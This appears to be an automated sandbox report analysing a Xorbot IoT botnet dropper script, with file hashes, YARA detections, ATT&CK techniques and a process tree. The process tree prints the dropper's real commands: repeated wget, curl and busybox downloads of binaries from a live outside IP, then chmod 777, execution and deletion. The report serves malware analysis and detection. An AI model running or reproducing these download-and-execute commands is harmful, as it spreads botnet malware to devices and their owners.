xorbot | a6be12c3c8dd2355975f18dbeb450c1130df50f893548282b427c4933e1f15cf

Resubmissions

03/04/2025, 22:32

250403-2fxrbayjy3 10

03/04/2025, 22:30

250403-2fa8bayjx3 10

Analysis

max time kernel
30s
max time network
31s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
03/04/2025, 22:30

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General

Target

bins.sh
Size

10KB
MD5

2d3354e4454c0aa1442c15ae4db570d7
SHA1

fa41bc59a61d70fed29d83a9fadcaf5f29a0306c
SHA256

a6be12c3c8dd2355975f18dbeb450c1130df50f893548282b427c4933e1f15cf
SHA512

95586720bce8db9d47b64c0e4555ba8d6dbc2899295a18ef6cd7f80558ee39e4088f3b66a22e49846ab83dc5d6a5a07604f5b0ed412b9b40a3ff9867498d8e09
SSDEEP

192:vT3jmvfO3m3C3x3+3e35BNkJpg35J5B5uFpYb+2va224Gm6eQmp9lLWLqLzm+B+k:vT3jmvfO3m3C3x3+3e35BNkJpg3bvJb7

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 6 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot
behavioral4/files/fstream-9.dat	family_xorbot
behavioral4/files/fstream-11.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
741	chmod
793	chmod
807	chmod
824	chmod
851	chmod
858	chmod
865	chmod
871	chmod
758	chmod
877	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	742	bins.sh
/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	759	bins.sh
/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	794	bins.sh
/tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki	808	bins.sh
/tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr	826	bins.sh
/tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX	852	bins.sh
/tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA	859	bins.sh

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
826	z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
829	rm
811	wget
812	curl
819	busybox

Writes file to tmp directory 19 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	wget
File opened for modification	/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	curl
File opened for modification	/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	wget
File opened for modification	/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	curl
File opened for modification	/tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX	busybox
File opened for modification	/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	busybox
File opened for modification	/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	curl
File opened for modification	/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	busybox
File opened for modification	/tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki	curl
File opened for modification	/tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki	busybox
File opened for modification	/tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX	curl
File opened for modification	/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	busybox
File opened for modification	/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	wget
File opened for modification	/tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki	wget
File opened for modification	/tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr	wget
File opened for modification	/tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr	curl
File opened for modification	/tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr	busybox
File opened for modification	/tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX	wget
File opened for modification	/tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:711
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:715
- /usr/bin/wget
  wget http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - Writes file to tmp directory
  PID:717
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  PID:742
- /bin/rm
  rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  PID:744
- /usr/bin/wget
  wget http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - Writes file to tmp directory
  PID:745
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - Writes file to tmp directory
  PID:753
- /bin/chmod
  chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  PID:759
- /bin/rm
  rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  PID:763
- /usr/bin/wget
  wget http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - Writes file to tmp directory
  PID:764
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - Writes file to tmp directory
  PID:786
- /bin/chmod
  chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  ./l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  PID:794
- /bin/rm
  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  PID:798
- /usr/bin/wget
  wget http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  - Writes file to tmp directory
  PID:799
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:805
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  - Writes file to tmp directory
  PID:806
- /bin/chmod
  chmod 777 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  ./1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  PID:808
- /bin/rm
  rm 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  PID:810
- /usr/bin/wget
  wget http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:811
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:812
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:819
- /bin/chmod
  chmod 777 z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  ./z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  2⤵
  - System Network Configuration Discovery
  PID:826
- /bin/rm
  rm z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  2⤵
  - System Network Configuration Discovery
  PID:829
- /usr/bin/wget
  wget http://77.90.153.218/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  2⤵
  - Writes file to tmp directory
  PID:831
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:841
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  2⤵
  - Writes file to tmp directory
  PID:850
- /bin/chmod
  chmod 777 kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  ./kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  2⤵
  PID:852
- /bin/rm
  rm kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  2⤵
  PID:854
- /usr/bin/wget
  wget http://77.90.153.218/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
  2⤵
  - Writes file to tmp directory
  PID:855
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
  2⤵
  - Reads runtime system information
  PID:856
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
  2⤵
  PID:857
- /bin/chmod
  chmod 777 MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
  ./MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
  2⤵
  PID:859
- /bin/rm
  rm MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
  2⤵
  PID:861
- /usr/bin/wget
  wget http://77.90.153.218/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
  2⤵
  PID:862
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
  2⤵
  - Reads runtime system information
  PID:863
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
  2⤵
  PID:864
- /bin/chmod
  chmod 777 y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
  ./y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
  2⤵
  PID:866
- /bin/rm
  rm y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
  2⤵
  PID:867
- /usr/bin/wget
  wget http://77.90.153.218/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
  2⤵
  - Reads runtime system information
  PID:869
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
  2⤵
  PID:870
- /bin/chmod
  chmod 777 wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
  ./wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
  2⤵
  PID:872
- /bin/rm
  rm wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
  2⤵
  PID:873
- /usr/bin/wget
  wget http://77.90.153.218/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
  2⤵
  - Reads runtime system information
  PID:875
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
  2⤵
  PID:876
- /bin/chmod
  chmod 777 MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
  ./MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
  2⤵
  PID:878
- /bin/rm
  rm MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
  2⤵
  PID:879
- /usr/bin/wget
  wget http://77.90.153.218/bins/j5pF2uRAfRIrxFbSnk6Wcqg8sFoHfAcw0f
  2⤵
  PID:883

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

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